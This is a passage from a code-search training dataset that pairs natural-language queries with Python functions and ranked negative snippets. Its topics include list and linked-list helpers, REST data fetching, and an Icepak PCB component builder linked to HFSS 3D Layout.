else:\\n self.connect_time = con.connect_time\\n try:\\n r = con.GET('/mapi/services/replication/links')\\n except Exception as e:\\n d.append('Error: {}'.format(str(e)))\\n else:\\n if r.status == 200:\\n # Good status, get and parse the Response\\n x = r.read()\\n self.service_time = con.service_time2\\n root = Et.fromstring(x)\\n for child in root:\\n if child.tag == 'name':\\n d.append(child.text)\\n else:\\n raise (hcpsdk.HcpsdkError('{} - {}'.format(r.status, r.reason)))\\n finally:\\n # noinspection PyUnboundLocalVariable\\n con.close()\\n\\n return d\",\n \"def list(self, path):\\n req = self.session.get(self.url + path + '/list',\\n verify=False)\\n jdata = req.json()\\n if jdata['status'] != 'ok':\\n raise Exception(\\\"Failed to query list: \\\\n\\\" + req.text)\\n\\n return jdata['data']\",\n \"def getList(self):\\n\\treturn self.sorted_list.getList()\",\n \"def get_entries(self):\\n return self._netdis.loxone.entries\",\n \"def read(data):\\n return Link(**data)\",\n \"def get_data(self):\",\n \"def get_list(self):\\n a = []\\n l = self\\n while l.is_block():\\n a.append(l.field(0))\\n l = l.field(1)\\n return a\",\n \"def list(self):\\n return self._list(self._path())\",\n \"def data(self) -> List[T]:\\n return self._data\",\n \"def link_to_list(link):\\n if link is Link.empty:\\n return []\\n lst = []\\n while link is not Link.empty:\\n lst.append(link.first)\\n link = link.rest\\n return lst\",\n \"def fetch(self):\\n # type: () -> List[List[Any]]\\n if self._request.next_uri is None:\\n self._finished = True\\n return []\\n response = self._request.get(self._request.next_uri)\\n status = self._request.process(response)\\n if status.columns:\\n self._columns = status.columns\\n self._stats.update(status.stats)\\n if status.next_uri is None:\\n self._finished = True\\n return status.rows\",\n \"def get_data_link(self, ctx, params):\\n # ctx is the context object\\n # return variables are: link\\n #BEGIN get_data_link\\n id_ = _get_id_from_object(params, 'linkid', required=True)\\n _check_admin(\\n self._user_lookup, ctx[_CTX_TOKEN], _AdminPermission.READ,\\n # pretty annoying to test ctx.log_info is working, do it manually\\n 'get_data_link', ctx.log_info)\\n dl = self._samples.get_data_link_admin(id_)\\n link = _links_to_dicts([dl])[0]\\n #END get_data_link\\n\\n # At some point might do deeper type checking...\\n if not isinstance(link, dict):\\n raise ValueError('Method get_data_link return value ' +\\n 'link is not type dict as required.')\\n # return the results\\n return [link]\",\n \"def get_list(cm_response, **data):\\n return cm_response\",\n \"def read():\\n # Create the list of tasks from our data\\n tasks = TaskList.query.all()\\n\\n # Serialize the data for the response\\n schema = TaskListSchema(many=True)\\n data = schema.dump(tasks).data\\n return data\",\n \"def load(self, theList: DoubleLinkList):\\n nextId = self.loadHeadId()\\n while nextId:\\n rec = self.db.selectById(self.tableName, nextId)\\n theList.addNode(appendIt=True, nodeId=rec['nodeId'], childId=rec['childId'],\\n label=rec['label'])\\n nextId = rec['nextId']\",\n \"def get_data_links_from_data(self, ctx, params):\\n # ctx is the context object\\n # return variables are: results\\n #BEGIN get_data_links_from_data\\n upa = _get_upa_from_object(params)\\n dt = _get_datetime_from_epochmillseconds_in_object(params, 'effective_time')\\n admin = _check_admin(\\n self._user_lookup, ctx[_CTX_TOKEN], _AdminPermission.READ,\\n # pretty annoying to test ctx.log_info is working, do it manually\\n 'get_data_links_from_data', ctx.log_info, skip_check=not params.get('as_admin'))\\n links, ts = self._samples.get_links_from_data(\\n _UserID(ctx[_CTX_USER]), upa, dt, as_admin=admin)\\n results = {'links': _links_to_dicts(links),\\n 'effective_time': _datetime_to_epochmilliseconds(ts)\\n }\\n #END get_data_links_from_data\\n\\n # At some point might do deeper type checking...\\n if not isinstance(results, dict):\\n raise ValueError('Method get_data_links_from_data return value ' +\\n 'results is not type dict as required.')\\n # return the results\\n return [results]\",\n \"def copy_list(self):\\n if self.head:\\n LIST_COPY = CircularLinkedList()\\n current = self.head\\n while True:\\n\\tLIST_COPY.append(current.data)\\n\\tcurrent = current.next\\n\\tif current == self.head:\\n\\t break\\n return LIST_COPY\\n else:\\n return CircularLinkedList()\",\n \"def get_refs(self): \\n for row in self._get_references_node():\\n yield row.fetch_all_fields()\",\n \"def get_image_links(data):\\n painting_links = []\\n\\n print(data)\\n\\n for painting in data:\\n painting_links.append(painting['image'])\\n\\n return painting_links\",\n \"def readentries(self):\\n return list(x for x in self)\",\n \"def get_list(self, headers: Optional[dict] = None, status: int = 200,\\n **kwargs: Any) -> List[dict]:\\n r = self.perform_request('list', False, headers=headers,\\n status=status, **kwargs)\\n data = r.json()\\n if self.pagination_schema:\\n return data[self.page_result_key]\\n else:\\n return data\",\n \"def getAllListPage():\\n firstPage = city + '/line1'\\n data = urlopen(firstPage).read().decode('gbk')\\n urlList = getLineTypeList(data)\\n urlList.append(firstPage)\\n num = len(urlList)\\n i = 0\\n p = Pool(processes=4)\\n pageData = p.map(readData, urlList)\\n# manager = Manager()\\n# pageData = manager.list()\\n# while i < num:\\n# procline = Process(target=readData, args=(urlList[i], pageData,))\\n# procline.start()\\n# procline.join()\\n# i += 1\\n return pageData\",\n \"def get_all(self):\\n return self.__fetcher.get_fetched()\",\n \"def _get_list(self, url, params=None, method=\\\"GET\\\"):\\n request_args = {'method': method, 'url': url}\\n if params is not None:\\n request_args['params'] = params\\n\\n return self._paginated_generator(request_args)\",\n \"def get_list(self):\\r\\n return self.numbers\",\n \"def get_all_link(self, dpid):\\n\\t\\tpass\",\n \"def __to_list__(self):\\r\\n out = []\\r\\n node = self.head\\r\\n while node:\\r\\n out.append(node.value)\\r\\n node = node.next\\r\\n return out\",\n \"async def as_list(self):\\n raise NotImplementedError(\\\"as_list makes no sense on changefeeds\\\")\",\n \"def _datalist(self, r, widget, **attr):\\n\\n T = current.T\\n\\n widget_get = widget.get\\n\\n context = widget_get(\\\"context\\\")\\n tablename = widget_get(\\\"tablename\\\")\\n resource, context = self._resolve_context(r, tablename, context)\\n\\n # Config Options:\\n # 1st choice: Widget\\n # 2nd choice: get_config\\n # 3rd choice: Default\\n config = resource.get_config\\n list_fields = widget_get(\\\"list_fields\\\",\\n config(\\\"list_fields\\\", None))\\n list_layout = widget_get(\\\"list_layout\\\",\\n config(\\\"list_layout\\\", None))\\n orderby = widget_get(\\\"orderby\\\",\\n config(\\\"list_orderby\\\",\\n config(\\\"orderby\\\",\\n ~resource.table.created_on)))\\n\\n widget_filter = widget_get(\\\"filter\\\")\\n if widget_filter:\\n resource.add_filter(widget_filter)\\n\\n # Use the widget-index to create a unique ID\\n list_id = \\\"profile-list-%s-%s\\\" % (tablename, widget[\\\"index\\\"])\\n\\n # Page size\\n pagesize = widget_get(\\\"pagesize\\\", 4)\\n representation = r.representation\\n if representation == \\\"dl\\\":\\n # Ajax-update\\n get_vars = r.get_vars\\n record_id = get_vars.get(\\\"record\\\", None)\\n if record_id is not None:\\n # Ajax-update of a single record\\n resource.add_filter(FS(\\\"id\\\") == record_id)\\n start, limit = 0, 1\\n else:\\n # Ajax-update of full page\\n start = get_vars.get(\\\"start\\\", None)\\n limit = get_vars.get(\\\"limit\\\", None)\\n if limit is not None:\\n try:\\n start = int(start)\\n limit = int(limit)\\n except ValueError:\\n start, limit = 0, pagesize\\n else:\\n start = None\\n else:\\n # Page-load\\n start, limit = 0, pagesize\\n\\n # Ajax-delete items?\\n if representation == \\\"dl\\\" and r.http in (\\\"DELETE\\\", \\\"POST\\\"):\\n if \\\"delete\\\" in r.get_vars:\\n return self._dl_ajax_delete(r, resource)\\n else:\\n r.error(405, current.ERROR.BAD_METHOD)\\n\\n # dataList\\n datalist, numrows = resource.datalist(fields = list_fields,\\n start = start,\\n limit = limit,\\n list_id = list_id,\\n orderby = orderby,\\n layout = list_layout,\\n )\\n # Render the list\\n ajaxurl = r.url(vars={\\\"update\\\": widget[\\\"index\\\"]},\\n representation=\\\"dl\\\")\\n data = datalist.html(ajaxurl = ajaxurl,\\n pagesize = pagesize,\\n empty = P(ICON(\\\"folder-open-alt\\\"),\\n BR(),\\n get_crud_string(tablename,\\n \\\"msg_no_match\\\"),\\n _class = \\\"empty_card-holder\\\"\\n ),\\n )\\n\\n if representation == \\\"dl\\\":\\n # This is an Ajax-request, so we don't need the wrapper\\n current.response.view = \\\"plain.html\\\"\\n return data\\n\\n # Interactive only below here\\n label = widget_get(\\\"label\\\", \\\"\\\")\\n # Activate if-required\\n #if label and isinstance(label, str):\\n if label:\\n label = T(label)\\n icon = widget_get(\\\"icon\\\", \\\"\\\")\\n if icon:\\n icon = ICON(icon)\\n\\n if pagesize and numrows > pagesize:\\n # Button to display the rest of the records in a Modal\\n more = numrows - pagesize\\n get_vars_new = {}\\n if context:\\n filters = context.serialize_url(resource)\\n for f in filters:\\n get_vars_new[f] = filters[f]\\n if widget_filter:\\n filters = widget_filter.serialize_url(resource)\\n for f in filters:\\n get_vars_new[f] = filters[f]\\n c, f = tablename.split(\\\"_\\\", 1)\\n f = widget_get(\\\"function\\\", f)\\n url = URL(c=c, f=f, args=[\\\"datalist.popup\\\"],\\n vars=get_vars_new)\\n more = DIV(A(BUTTON(\\\"%s (%s)\\\" % (T(\\\"see more\\\"), more),\\n _class = \\\"btn btn-mini tiny button\\\",\\n _type = \\\"button\\\",\\n ),\\n _class = \\\"s3_modal\\\",\\n _href = url,\\n _title = label,\\n ),\\n _class = \\\"more_profile\\\",\\n )\\n else:\\n more = \\\"\\\"\\n\\n # Link for create-popup\\n create_popup = self._create_popup(r,\\n widget,\\n list_id,\\n resource,\\n context,\\n numrows)\\n\\n _class = self._lookup_class(r, widget)\\n\\n # Render the widget\\n output = DIV(create_popup,\\n H4(icon,\\n label,\\n _class = \\\"profile-sub-header\\\",\\n ),\\n DIV(data,\\n more,\\n _class = \\\"card-holder\\\",\\n ),\\n _class = _class,\\n )\\n\\n return output\",\n \"def get_list(self):\\n\\n i = 0\\n for x in self.lists:\\n _, _, tasks = x\\n N = len(tasks) if tasks else 0\\n if self.cursor >= i and self.cursor < i + N + 1:\\n return x\\n\\n i += N + 1\",\n \"def get_links(self):\\r\\n return self.__links\",\n \"def link(first, rest):\\n assert is_link(rest), \\\"rest must be a linked list.\\\"\\n return [first, rest]\",\n \"def link(first, rest):\\n assert is_link(rest), 'rest must be a linked list.'\\n return [first, rest]\",\n \"def get_list(self):\\n return self.__repository.get_all()\",\n \"def list(self):\\r\\n return List(self)\",\n \"def list(self):\\r\\n return List(self)\",\n \"def list(self):\\r\\n return List(self)\",\n \"def get(self):\\n result = self.session.get(urljoin(self.base_url, self.directory))\\n if result.ok:\\n data = result.json()\\n\\n if self.raw:\\n return data\\n\\n if not self.query[\\\"item\\\"]:\\n return data[\\\"ids\\\"]\\n else:\\n if self.query[\\\"filter\\\"] == \\\"links\\\":\\n return data[\\\"links\\\"]\\n else:\\n return data.get(\\\"entry\\\", None)\\n else:\\n raise RuntimeError(\\\"Malformed Request\\\")\",\n \"def List(cls):\\n return WordList.query().fetch_async()\",\n \"def printlist(self):\\n current_element = self.head\\n items = []\\n while current_element:\\n items.append(current_element.value)\\n current_element = current_element.next\\n return items\",\n \"def getlist(self, option):\\n return getlist(self.name, option)\",\n \"def as_list(self):\\n l = []\\n node = self.head\\n while node:\\n l.append(node.value)\\n node = node.next\\n return l\",\n \"def getData(graph, request):\\r\\n results = list(graph.query(request))\\r\\n return results\",\n \"def link(first, rest):\\n assert is_link(rest), 'rest must be linked list.'\\n return [first, rest]\",\n \"def get(self):\\n return self.datastore.read_all()\",\n \"def fetch(self, n: int) -> t.List[Record]:\\n self._buffer(n)\\n return [\\n self._record_buffer.popleft()\\n for _ in range(min(n, len(self._record_buffer)))\\n ]\",\n \"def display(self):\\r\\n elems = [] #create a list of elements we've seen\\r\\n current_node = self.head\\r\\n while current_node.next!=None:\\r\\n current_node = current_node.next\\r\\n elems.append(current_node.data)\\r\\n print(elems)\",\n \"def _get_links(self):\\n with open(self.source, \\\"r\\\", encoding=\\\"utf-8\\\") as link_doc:\\n return link_doc.readlines()\",\n \"def listed_data(self, reader):\\n result = []\\n for line in reader:\\n result.append(line)\\n return result\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6898586","0.6640852","0.6524167","0.65154654","0.6504477","0.6492138","0.64538014","0.6377081","0.6314501","0.6314501","0.6303047","0.629092","0.628569","0.626632","0.62105554","0.6186964","0.6186964","0.6156874","0.6129265","0.6085171","0.5974937","0.59738016","0.59647214","0.5953214","0.5953214","0.59450203","0.5943961","0.5934353","0.5930808","0.5929235","0.5919501","0.5905859","0.59045833","0.5873078","0.5855063","0.58533406","0.5851357","0.5825272","0.5823692","0.5820761","0.5820522","0.5807273","0.58026004","0.5800992","0.58008516","0.5797115","0.57791513","0.5765266","0.5755337","0.5747311","0.5747311","0.5747311","0.5741118","0.57389104","0.57303333","0.57070345","0.57045066","0.56876004","0.5675055","0.56692976","0.5645222","0.56418306","0.5629149","0.56236064","0.56200725","0.5605721","0.5605354","0.56020296","0.5600581","0.559413","0.5582714","0.55786234","0.556856","0.55624825","0.55606383","0.55531543","0.55519426","0.55483556","0.55442446","0.5542051","0.5537112","0.5526633","0.552268","0.5521957","0.55207187","0.55203557","0.5516078","0.5516078","0.5516078","0.55151546","0.55114824","0.5511201","0.5510528","0.54981047","0.54950064","0.54943585","0.54926836","0.5483877","0.5473476","0.5471184","0.54692036"],"string":"[\n \"0.6898586\",\n \"0.6640852\",\n \"0.6524167\",\n \"0.65154654\",\n \"0.6504477\",\n \"0.6492138\",\n \"0.64538014\",\n \"0.6377081\",\n \"0.6314501\",\n \"0.6314501\",\n \"0.6303047\",\n \"0.629092\",\n \"0.628569\",\n \"0.626632\",\n \"0.62105554\",\n \"0.6186964\",\n \"0.6186964\",\n \"0.6156874\",\n \"0.6129265\",\n \"0.6085171\",\n \"0.5974937\",\n \"0.59738016\",\n \"0.59647214\",\n \"0.5953214\",\n \"0.5953214\",\n \"0.59450203\",\n \"0.5943961\",\n \"0.5934353\",\n \"0.5930808\",\n \"0.5929235\",\n \"0.5919501\",\n \"0.5905859\",\n \"0.59045833\",\n \"0.5873078\",\n \"0.5855063\",\n \"0.58533406\",\n \"0.5851357\",\n \"0.5825272\",\n \"0.5823692\",\n \"0.5820761\",\n \"0.5820522\",\n \"0.5807273\",\n \"0.58026004\",\n \"0.5800992\",\n \"0.58008516\",\n \"0.5797115\",\n \"0.57791513\",\n \"0.5765266\",\n \"0.5755337\",\n \"0.5747311\",\n \"0.5747311\",\n \"0.5747311\",\n \"0.5741118\",\n \"0.57389104\",\n \"0.57303333\",\n \"0.57070345\",\n \"0.57045066\",\n \"0.56876004\",\n \"0.5675055\",\n \"0.56692976\",\n \"0.5645222\",\n \"0.56418306\",\n \"0.5629149\",\n \"0.56236064\",\n \"0.56200725\",\n \"0.5605721\",\n \"0.5605354\",\n \"0.56020296\",\n \"0.5600581\",\n \"0.559413\",\n \"0.5582714\",\n \"0.55786234\",\n \"0.556856\",\n \"0.55624825\",\n \"0.55606383\",\n \"0.55531543\",\n \"0.55519426\",\n \"0.55483556\",\n \"0.55442446\",\n \"0.5542051\",\n \"0.5537112\",\n \"0.5526633\",\n \"0.552268\",\n \"0.5521957\",\n \"0.55207187\",\n \"0.55203557\",\n \"0.5516078\",\n \"0.5516078\",\n \"0.5516078\",\n \"0.55151546\",\n \"0.55114824\",\n \"0.5511201\",\n \"0.5510528\",\n \"0.54981047\",\n \"0.54950064\",\n \"0.54943585\",\n \"0.54926836\",\n \"0.5483877\",\n \"0.5473476\",\n \"0.5471184\",\n \"0.54692036\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":80081,"cells":{"query":{"kind":"string","value":"Create a PCB component in Icepak that is linked to an HFSS 3D Layout object."},"document":{"kind":"string","value":"def create_ipk_3dcomponent_pcb(\n self,\n compName,\n setupLinkInfo,\n solutionFreq,\n resolution,\n PCB_CS=\"Global\",\n rad=\"Nothing\",\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n powerin=\"0W\",\n custom_x_resolution=None,\n custom_y_resolution=None,\n ):\n lowRad, highRad = self.get_radiation_settings(rad)\n hfssLinkInfo = OrderedDict({})\n arg2dict(self.get_link_data(setupLinkInfo), hfssLinkInfo)\n\n native_props = OrderedDict(\n {\n \"NativeComponentDefinitionProvider\": OrderedDict(\n {\n \"Type\": \"PCB\",\n \"Unit\": self.modeler.model_units,\n \"MovePlane\": \"XY\",\n \"Use3DLayoutExtents\": False,\n \"ExtentsType\": extenttype,\n \"OutlinePolygon\": outlinepolygon,\n \"CreateDevices\": False,\n \"CreateTopSolderballs\": False,\n \"CreateBottomSolderballs\": False,\n \"Resolution\": int(resolution),\n \"LowSide\": OrderedDict({\"Radiate\": lowRad}),\n \"HighSide\": OrderedDict({\"Radiate\": highRad}),\n }\n )\n }\n )\n native_props[\"BasicComponentInfo\"] = OrderedDict({\"IconType\": \"PCB\"})\n\n if custom_x_resolution and custom_y_resolution:\n native_props[\"NativeComponentDefinitionProvider\"][\"UseThermalLink\"] = solutionFreq != \"\"\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolution\"] = True\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolutionRow\"] = custom_x_resolution\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolutionCol\"] = 600\n # compDefinition += [\"UseThermalLink:=\", solutionFreq!=\"\",\n # \"CustomResolution:=\", True, \"CustomResolutionRow:=\", custom_x_resolution,\n # \"CustomResolutionCol:=\", 600]\n else:\n native_props[\"NativeComponentDefinitionProvider\"][\"UseThermalLink\"] = solutionFreq != \"\"\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolution\"] = False\n # compDefinition += [\"UseThermalLink:=\", solutionFreq != \"\",\n # \"CustomResolution:=\", False]\n if solutionFreq:\n native_props[\"NativeComponentDefinitionProvider\"][\"Frequency\"] = solutionFreq\n native_props[\"NativeComponentDefinitionProvider\"][\"DefnLink\"] = hfssLinkInfo[\"DefnLink\"]\n # compDefinition += [\"Frequency:=\", solutionFreq, hfssLinkInfo]\n else:\n native_props[\"NativeComponentDefinitionProvider\"][\"Power\"] = powerin\n native_props[\"NativeComponentDefinitionProvider\"][\"DefnLink\"] = hfssLinkInfo[\"DefnLink\"]\n # compDefinition += [\"Power:=\", powerin, hfssLinkInfo]\n\n native_props[\"TargetCS\"] = PCB_CS\n native = NativeComponentObject(self, \"PCB\", compName, native_props)\n if native.create():\n self.modeler.primitives.refresh_all_ids()\n self.materials._load_from_project()\n self.native_components.append(native)\n return native\n return False"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def create_pcb_from_3dlayout(\n self,\n component_name,\n project_name,\n design_name,\n resolution=2,\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n close_linked_project_after_import=True,\n custom_x_resolution=None,\n custom_y_resolution=None,\n ):\n if project_name == self.project_name:\n project_name = \"This Project*\"\n link_data = [project_name, design_name, \"<--EDB Layout Data-->\", False, False]\n status = self.create_ipk_3dcomponent_pcb(\n component_name,\n link_data,\n \"\",\n resolution,\n extenttype=extenttype,\n outlinepolygon=outlinepolygon,\n custom_x_resolution=custom_x_resolution,\n custom_y_resolution=custom_y_resolution,\n )\n\n if close_linked_project_after_import and \".aedt\" in project_name:\n prjname = os.path.splitext(os.path.basename(project_name))[0]\n self.close_project(prjname, saveproject=False)\n self.logger.glb.info(\"PCB component correctly created in Icepak.\")\n return status","def build(cmpd, density=0.5*u.gram/(u.cm**3), n_compounds=1000, \n ff='ff/TraPPE_UA_3_fully_flexible_propane.xml'):\n density.convert_to_units(u.kilogram/u.m**3)\n\n # Pack a box\n box = mb.fill_box(cmpd, n_compounds=n_compounds, density=density.value)\n\n # Wrap coordinates\n new_xyz = box.xyz - 1 * np.floor_divide(box.xyz, box.periodicity) * box.periodicity\n box.xyz = new_xyz\n\n # Apply non-atomistic, custom element naming convention\n for part in box.particles():\n part.name = \"_\" + part.name\n\n # Utilize foyer to parametrize our box\n ff = foyer.Forcefield(forcefield_files=ff)\n box = box.to_parmed(infer_residues=True)\n parametrized_structure = ff.apply(box, combining_rule='lorentz')\n\n # Dump initial coordinates\n parametrized_structure.save('compound.pdb', overwrite=True)\n parametrized_structure.save('compound.mol2', overwrite=True)\n parametrized_structure.save('compound.gro', overwrite=True)\n\n return parametrized_structure","def firmware_pack_create(handle, org_name, name, rack_bundle_version,\n blade_bundle_version, descr=\"\", mode=\"staged\",\n org_parent=\"org-root\"):\n\n org_dn = org_parent + \"/org-\" + org_name\n p_mo = handle.query_dn(org_dn)\n if not p_mo:\n log.info(\"Sub-Org <%s> not found!\" % org_name)\n else:\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import\\\n FirmwareComputeHostPack\n\n mo = FirmwareComputeHostPack(parent_mo_or_dn=org_dn,\n name=name,\n descr=descr,\n rack_bundle_version=rack_bundle_version,\n mode=mode,\n blade_bundle_version=blade_bundle_version)\n handle.add_mo(mo)\n handle.commit()","def test_make_layout():\n raw = hcp.read_raw(data_type='rest', **hcp_params).crop(0, 1).load_data()\n raw.pick_types()\n lout = make_hcp_bti_layout(raw.info)\n assert_equal(lout.names, raw.info['ch_names'])","def program_new_pcb(fx3_firmware, fpga_firmware, VID=default_VID, PID=default_PID, di_file=default_di_file):\n fx3.program_new_pcb(fx3_firmware, VID=VID, PID=PID, di_file=di_file)","def hfp_create(handle, org_dn, name,\r\n blade_bundle_version=\"\",\r\n rack_bundle_version=\"\",\r\n ignore_comp_check=\"yes\",\r\n update_trigger=\"immediate\",\r\n mode=\"staged\",\r\n stage_size=\"0\",\r\n policy_owner=\"local\",\r\n descr=\"testdescr\"):\r\n\r\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import \\\r\n FirmwareComputeHostPack\r\n\r\n org = handle.query_dn(org_dn)\r\n if org is None:\r\n raise ValueError(\"Org '%s' does not exist\" % org_dn)\r\n\r\n mo = FirmwareComputeHostPack(parent_mo_or_dn=\"org-root\",\r\n name=name,\r\n blade_bundle_version=blade_bundle_version,\r\n rack_bundle_version=rack_bundle_version,\r\n ignore_comp_check=ignore_comp_check,\r\n update_trigger=update_trigger,\r\n mode=mode,\r\n stage_size=stage_size,\r\n policy_owner=policy_owner,\r\n descr=descr)\r\n handle.add_mo(mo, modify_present=True)\r\n handle.commit()\r\n\r\n return mo","def create_plaquette(self, baseStr, fidpairs):\n ji_list = list(_itertools.product(list(range(self.nMinorRows)),\n list(range(self.nMinorCols))))\n assert(len(ji_list) >= len(fidpairs)), \"Number of minor rows/cols is too small!\"\n\n elements = [(j, i, prepStr + baseStr + effectStr)\n for (j, i), (prepStr, effectStr) in\n zip(ji_list[0:len(fidpairs)], fidpairs)] # note preps are *cols* not rows\n\n return CircuitPlaquette(baseStr, self.nMinorRows,\n self.nMinorCols, elements,\n self.aliases, fidpairs[:])","def produce(self, layout, layers, parameters, cell):\n self._layers = layers\n self.cell = cell\n self._param_values = parameters\n self.layout = layout\n\n\n # cell: layout cell to place the layout\n # LayerSiN: which layer to use\n # r: radius\n # w: waveguide width\n # length units in dbu\n\n from math import pi, cos, sin\n from SiEPIC.utils import arc, arc_to_waveguide, points_per_circle, arc_wg\n\n # fetch the parameters\n dbu = self.layout.dbu\n ly = self.layout\n shapes = self.cell.shapes\n \n LayerSi = self.silayer\n LayerSiN = self.silayer_layer\n LayerPinRecN = ly.layer(self.pinrec)\n LayerDevRecN = ly.layer(self.devrec)\n \n w = int(round(self.wg_width/dbu))\n r = int(round(self.radius/dbu))\n\n # draw the quarter-circle\n x = -r\n y = r\n # layout_arc_wg_dbu(self.cell, LayerSiN, x, y, r, w, 270, 360)\n t = Trans(Trans.R0,x, y)\n self.cell.shapes(LayerSiN).insert(arc_to_waveguide(arc(r, 270, 360), w).transformed(t))\n \n # Create the pins on the waveguides, as short paths:\n from SiEPIC._globals import PIN_LENGTH as pin_length\n \n # Pin on the top side:\n p2 = [Point(0, y-pin_length/2), Point(0, y+pin_length/2)]\n p2c = Point(0, y)\n self.set_p2 = p2c\n self.p2 = p2c\n pin = Path(p2, w)\n shapes(LayerPinRecN).insert(pin)\n t = Trans(Trans.R0, 0, y)\n text = Text (\"pin2\", t)\n shape = shapes(LayerPinRecN).insert(text)\n shape.text_size = 0.4/dbu\n\n # Pin on the left side:\n p1 = [Point(pin_length/2+x,0), Point(-pin_length/2+x,0)]\n p1c = Point(x,0)\n self.set_p1 = p1c\n self.p1 = p1c\n pin = Path(p1, w)\n shapes(LayerPinRecN).insert(pin)\n t = Trans(Trans.R0, x, 0)\n text = Text (\"pin1\", t)\n shape = shapes(LayerPinRecN).insert(text)\n shape.text_size = 0.4/dbu\n\n # Create the device recognition layer -- make it 1 * wg_width away from the waveguides.\n t = Trans(Trans.R0,x, y)\n self.cell.shapes(LayerDevRecN).insert(arc_to_waveguide(arc(r, 270, 360), w*3).transformed(t))\n #layout_arc_wg_dbu(self.cell, LayerDevRecN, x, y, r, w*3, 270, 360)\n\n # Compact model information\n t = Trans(Trans.R0, x+r/10, 0)\n text = Text (\"Lumerical_INTERCONNECT_library=Design kits/EBeam\", t)\n shape = shapes(LayerDevRecN).insert(text)\n shape.text_size = r/100\n t = Trans(Trans.R0, x+r/10, r/4)\n text = Text ('Component=ebeam_bend_1550', t)\n shape = shapes(LayerDevRecN).insert(text)\n shape.text_size = r/100\n t = Trans(Trans.R0, x+r/10, r/2)\n text = Text ('Spice_param:radius=%.3fu wg_width=%.3fu'% (self.radius,self.wg_width), t)\n shape = shapes(LayerDevRecN).insert(text)\n shape.text_size = r/100","def create(self, verbose=False):\r\n # delete the window if its handle exists\r\n if cmds.window(self.window, exists=True):\r\n cmds.deleteUI(self.window)\r\n # initialize the window as a pane for docking\r\n self.window = cmds.loadUI(uiFile=self.uiFile, verbose=verbose)\r\n #layoutWin = cmds.paneLayout(configuration='single')\r\n # create a dockControl and parent the control to layoutWin\r\n cmds.dockControl(allowedArea='all', area='right', floating=False, \r\n height=cmds.window(self.window, query=True, height=True), \r\n content=self.window, label='Docked Cone Pointer Window')\r\n cmds.showWindow(self.window)","def __init__(self, structure_id, pdb_file, amb_file, flex1_file, flex2_file, root_dir=None):\n\n super(DOCK, self).__init__(id=structure_id, description='DOCK6 preparation')\n self._root_dir = None\n self.structure_path = pdb_file\n\n if root_dir:\n self.root_dir = root_dir\n else:\n self.root_dir = self.structure_dir\n\n self.dockprep_path = None\n self.receptormol2_path = None\n self.receptorpdb_path = None\n self.dms_path = None\n self.sphgen_path = None\n self.bindingsite_path = None\n self.sphsel_path = None\n self.box_path = None\n self.grid_path = None\n\n self.dock_flexible_outfile = None\n self.dock_flexible_scored_result = None\n self.dock_flexible_conformers_result = None\n\n self.amb_file = amb_file\n self.flex1_file = flex1_file\n self.flex2_file = flex2_file\n\n log.debug('{}: created DOCK6 project folder at {}'.format(structure_id, self.dock_dir))","def fig3b():\n # fmt: off\n tpm = np.array([\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [1, 0, 0, 0],\n [1, 0, 0, 0],\n ])\n cm = np.array([\n [0, 0, 0, 0],\n [1, 0, 0, 0],\n [1, 0, 0, 0],\n [1, 0, 0, 0],\n ])\n # fmt: on\n return Network(tpm, cm=cm, node_labels=LABELS[:tpm.shape[1]])","def build(self, name=None):\n wire_body = brep().createWireFromCurves(self._segments, allowSelfIntersections=False)[0]\n return BRepComponent(brep().createFaceFromPlanarWires([wire_body]), name=name)","def create_instance(c_instance):\n return OpenLabs(c_instance)","def create_test_firmware_component(**kw):\n fw_cmp_values = get_test_firmware_component(**kw)\n if 'id' not in kw:\n del fw_cmp_values['id']\n dbapi = db_api.get_instance()\n return dbapi.create_firmware_component(fw_cmp_values)","def __init__(\n self,\n model,\n ipakcb=None,\n intercellt=0,\n laycon=3,\n trpy=1.0,\n hdry=-1e30,\n iwdflg=0,\n wetfct=0.1,\n iwetit=1,\n ihdwet=0,\n ikvflag=0,\n ikcflag=0,\n tran=1.0,\n hy=1.0,\n vcont=1.0,\n kv=1.0,\n anglex=0.0,\n ksat=1.0,\n sf1=1e-5,\n sf2=0.15,\n wetdry=-0.01,\n extension=\"bcf\",\n unitnumber=None,\n filenames=None,\n add_package=True,\n ):\n msg = (\n \"Model object must be of type flopy.mfusg.MfUsg\\n\"\n f\"but received type: {type(model)}.\"\n )\n assert isinstance(model, MfUsg), msg\n\n super().__init__(\n model,\n ipakcb=ipakcb,\n intercellt=intercellt,\n laycon=laycon,\n trpy=trpy,\n hdry=hdry,\n iwdflg=iwdflg,\n wetfct=wetfct,\n iwetit=iwetit,\n ihdwet=ihdwet,\n tran=tran,\n hy=hy,\n vcont=vcont,\n sf1=sf1,\n sf2=sf2,\n wetdry=wetdry,\n extension=extension,\n unitnumber=unitnumber,\n filenames=filenames,\n add_package=False,\n )\n\n dis = model.get_package(\"DIS\")\n if dis is None:\n dis = model.get_package(\"DISU\")\n structured = self.parent.structured\n\n nrow, ncol, nlay, _ = self.parent.nrow_ncol_nlay_nper\n\n self.ikvflag = ikvflag\n self.ikcflag = ikcflag\n self.kv = kv\n self.anglex = anglex\n self.ksat = ksat\n\n if not structured:\n njag = dis.njag\n self.anglex = Util2d(\n model,\n (njag,),\n np.float32,\n anglex,\n \"anglex\",\n locat=self.unit_number[0],\n )\n\n # item 1\n self.kv = Util3d(\n model,\n (nlay, nrow, ncol),\n np.float32,\n kv,\n \"Vertical 